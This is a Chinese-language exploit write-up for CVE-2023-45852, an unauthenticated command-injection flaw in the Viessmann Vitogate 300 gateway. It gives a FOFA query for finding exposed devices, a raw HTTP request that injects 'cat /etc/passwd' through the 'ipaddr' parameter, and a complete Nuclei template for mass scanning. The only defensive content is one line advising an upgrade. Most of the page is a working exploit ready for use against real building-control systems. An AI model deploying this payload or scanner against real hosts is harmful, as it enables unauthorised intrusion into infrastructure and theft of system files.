Viessmann Vitogate RCE漏洞(CVE-2023-45852)

免责声明:文章来源互联网收集整理,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

Ⅰ、漏洞描述

Viessmann Vitogate 300是用于将Viessmann LON连接到BACnet或Modbus的网关。

Vitogate 300 组件/cgi-bin/vitogate.cgi中的一个问题允许未经身份验证的攻击者绕过身份验证,通过特制的请求执行任意命令,可导致服务器失陷。

Ⅱ、fofa语句

app="Vitogate-300"

Ⅲ、漏洞复现

POC

POST /cgi-bin/vitogate.cgi HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
 
{"method":"put","form":"form-4-8","session":"","params":{"ipaddr":"1;cat /etc/passwd"}}

1、构建poc

Ⅳ、Nuclei-POC

id: Viessmann-Vitogate-RCE

info:
  name:  Vitogate 300 组件/cgi-bin/vitogate.cgi中的一个问题允许未经身份验证的攻击者绕过身份验证 通过特制的请求执行任意命令 可导致服务器失陷
  author: WLF
  severity: high
  metadata: 
    fofa-query: app="Vitogate-300"
variables:
  filename: "{{to_lower(rand_base(10))}}"
  boundary: "{{to_lower(rand_base(20))}}"
http:
  - raw:
      - |
        POST /cgi-bin/vitogate.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        
        {"method":"put","form":"form-4-8","session":"","params":{"ipaddr":"1;cat /etc/passwd"}}


    matchers:
      - type: dsl
        dsl:
          - status_code==200 && contains_all(body,"/bin")

Ⅴ、修复建议

升级至安全版本